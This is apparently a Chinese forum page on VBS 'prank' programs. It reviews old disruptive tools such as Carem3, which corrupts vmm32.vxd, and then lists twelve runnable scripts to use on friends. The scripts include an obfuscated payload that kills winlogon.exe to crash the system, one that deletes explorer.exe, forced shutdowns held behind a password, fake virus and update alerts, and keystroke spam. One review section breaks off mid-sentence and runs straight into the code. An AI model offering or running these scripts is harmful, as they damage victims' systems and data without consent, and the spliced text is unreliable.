想弄个vbs整人小程序，为什么弄好了打不开？

这个问题一般是文本编码引起的。

解决办法：

下载文本编辑器比如Notepad++，对文本进行转码。

我在Windows 8上测试，转码为ANSI编码即可执行成功。

---

为什么有时候用记事本写vbs程序又可以呢？

因为Windows在生成UFT-8格式的文本文件时，自作主张在文件中加了点东西，而VBS已经很久没有更新了。所以，一不小心就出现“800A0408”错误。

一、norun

norun是个恶作剧软件,它只有一个可执行文件,12288字节大小,运行于Win98/ME下.运行后要求回答三道算数题.虽然题目很简单,但是一旦答错,机器将连续重启动12次（每次都有提示）后恢复正常.除此之外,没有其他影响.因此,norun是个真正的恶作剧软件,对大家的威胁并不大.不过,如果机器真的重新启动12次的话,也够恐怖的！所以也要掌握应对它的方法.

最直接的方法是你回答对那三道题就可以了.不要担心,是小学二年级的都会做的算数题.

如果你回答对了,就会出现对话框,点击"确定"软件运行结束.由于你回答对了,所以不会出现连续重启动12次这样的现象.

如果你担心自己马虎回答错误（如果这个也回答不正确,那也太……）,可以用进程管理软件终止该进程,这样就可以了.我们以Windows优化大师为例.运行Windows优化大师,点击"系统安全优化"→"进程管理",在d出的窗口中选中norun,点击"终止"按钮即可终止运行它,从而避免了norun造成的12次重启.

点评：纯粹的恶作剧软件,可以用来跟朋友开玩笑用.

恶毒程度：★

二、ilr

ilr也是个恶作剧程序,文件大小15KB.这么小的程序能干些什么破坏呢？它是个捉弄人的程序,运行后会把硬盘上所有分区里的文件夹通通变成回收站！使得你无法通过点击进入该文件夹！天啊,我要是想进入文件夹该怎么办呢？别着急,恢复方法是用以下格式运行该软件即可：xxxx.exe -recover,要记牢格式哦！

点评：一个很另类的恶作剧软件,不破坏数据,不会让你无法进入系统中,但是它会让你无法进入文件夹,使你干着急,可以用来跟朋友开玩笑用.

恶毒程度：★★

三、FUHD

这是一个垃圾文件生成器,程序运行后会在各磁盘（C:-H:）的每一个根目录、第一级子目录和第二级子目录生成随机文件名的垃圾文件.很久以前有个软件hdfill.exe有相似的功能,但是该hdfill需要VB4的运行库才能运行,在没有VB4运行库的机器中不能运行该程序.而该程序是用VB5编写的,虽然存在运行库的问题,但Win98中已经带有VB5的运行库,所以该程序可以在许多电脑中运行成功.也就是说许多朋友都有中招的可能和危险！

FUHD压缩包由四个文件组成：

FUHD.exe：大小10752字节,所用图标为VB5的安装程序所用图标.直接在磁盘上生成垃圾文件,程序在后台运行,全过程没有任何提示.

setup.exe：大小10752字节,所用图标为VB5的安装程序所用图标.运行后在后台生成垃圾文件.

Undo.exe：大小6656字节.这是作者提供的删除上面两个EXE生成的垃圾文件的文件,如果你中招了,可以找来该文件,运行后就可以清除那些垃圾文件.

readme.txt：说明文件.

点评：虽然说现在很多人都有大硬盘,但是大量的垃圾文件分布在各个目录中,也是一件很麻烦的事.而且目录中含有过多的文件,会大大减慢系统的速度.作为恶作剧软件,它的危害不大.但如果不知道解除方法,也很讨厌.

恶毒程度：★★☆

四、Carem3

Carem3是网络休闲庄（一个黑客网站）技术顾问Carem的作品,这是一个非常狠毒的恶意攻击软件,运行后如果不知道正确的破解方法,那肯定是要重装系统的.解压后的Carem3只有一个文件Carem3.exe,这是它所用的图标（左图）,大家记住了,轻易不要运行使用这个图标的软件,因为给你下套的人会给它改名的,所以记住它的文件大小也是个不错的识别方法,Carem3.exe文件大小321536字节.

此时鼠标被控制在一定范围内,无法点击屏幕上的按钮,按动回车键就会d出个窗口警告你不要随意运行可执行程序,说这只是个教训之类的话,然后会自动重新启动电脑,但你再也无法进入心爱的Windows桌面了！如果你没有按动任何键,Carem3也不会放过你,它会自动倒记时,从20秒到0就重新启动电脑,使你的系统崩溃！

程序的基本原理是破坏C:\windows\system\下的vmm32.vxd文件.vmm32.vxd是虚拟设备驱动程序,正常文件大小913413字节,文件修改时间为1999－01－13,就是由于它被破坏了（文件被替换为同名文件,大小变为81531字节,文件修改时间变为1998－06－19）,导致你的计算机不能进入Windows系统.

作者提供的破解方法是：在开机的时候按F8选择Command prompt only方式进入DOS下,之后在提示符后执行repair,就可以解决了.另外你事先备份了vmm32.vxd文件,就可以使用另外一个破解方法：用启动盘从A盘启动计算机,将备份的vmm32.vxd复制到c:\windows\system\里,重新启动计算机就可以了.如果没有备份,到其他计算机上复制一个来吧.

除了上面说的那两个方法,还有一个更简便的破解方法.我们在Carem3.exe刚运行后,倒记时尚未结束前,按住ALT+F4键关闭软件窗口（不要指望能通过按Ctrl+Alt+Del来终止它,作者早就将这些按键屏蔽了）,此时你的鼠标将被锁定在桌面的某个小范围内（屏幕中央偏右一点）,鼠标是无法使用了.但是如果你自己不重新启动电脑的话,Carem3.exe也不会自动重新启动你的电脑——因为它已经被关闭了.此时的你可以使用键盘来 *** 作,如果嫌麻烦,直接重新启动电脑即可.不要害怕,我们按ALT+F4时已经将软件关闭了,在破坏开始前就将它给消灭了,所以这次重新启动电脑和我们平常重新启动电脑一样,是安全的！顺便说一句如果你的系统是Win2000以下就要小心它了！

点评：比较恶毒,因为一般人想不到它会破坏vmm32.vxd,不过还好,作者提供了破解的方法,所以还在可控范围内.

恶毒程度：★★★

五、妖之吻

妖之吻是千年老妖的作品.下载解压后大小252KB,只有一个文件名为yzw.exe的可执行文件,它的外表看起来很友善——图标是两只握在一起的手！如果你被这表面上的友善所打动,双击运行了这个程序,哈哈,你的恶梦就此开始了！

首先,屏幕上会出现一个不大好看的窗口,上面写着"亲爱的,给你一个关机之吻",同时在窗口中显示60、59、58……这样的倒计时数,记时到"0"系统就自动重新启动.当你再次听到Windows的启动声音,以为没什么事的时候,那个可恶的"亲爱的,给你一个关机之吻"又出现了,然后再次重启,如此反复,陷入一个死循环中,使你根本无法进入你的系统.你若想在那个窗口出现时按"Ctrl+Alt+Del"来终止它,根本就不管用,因为作者将

第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" http://shaiya.gtgame.com.cn/index.htm" ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍：""" auto.WriteLine"msgbox"&""""&"亲爱的 "&a&" 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"

---